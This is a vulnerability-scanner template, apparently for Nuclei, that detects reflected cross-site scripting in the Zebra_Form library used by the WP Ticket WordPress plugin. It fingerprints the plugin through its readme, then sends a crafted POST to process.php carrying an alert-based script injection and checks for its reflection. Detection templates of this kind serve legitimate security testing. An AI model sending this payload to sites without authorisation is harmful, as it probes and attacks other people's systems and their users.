id: wordpress-zebra-form-xss

info:
  name: Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php.
  reference:
    - https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html
    - https://wpscan.com/vulnerability/e4b796fa-3215-43ff-a6aa-71f6e1db25e5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 2
  tags: wordpress,xss,wp,wpscan,intrusive,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-ticket/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Ticket'
          - 'Tags:'
        condition: and

  - raw:
      - |
        POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074
        Origin: null

        -----------------------------77916619616724262872902741074
        Content-Disposition: form-data; name="upload"; filename="{{randstr}}.txt"
        Content-Type: text/plain
        Test
        -----------------------------77916619616724262872902741074--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><img src onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202db18725f640ae381907a94beb780e535ae38c4edb87d685b71cdb97c35630bb022100eea33f7db202c5b3b356f858005cf9b5e497bfed21e5cf3928b2da8458c4f532:922c64590222798bb761d5b6d8e72950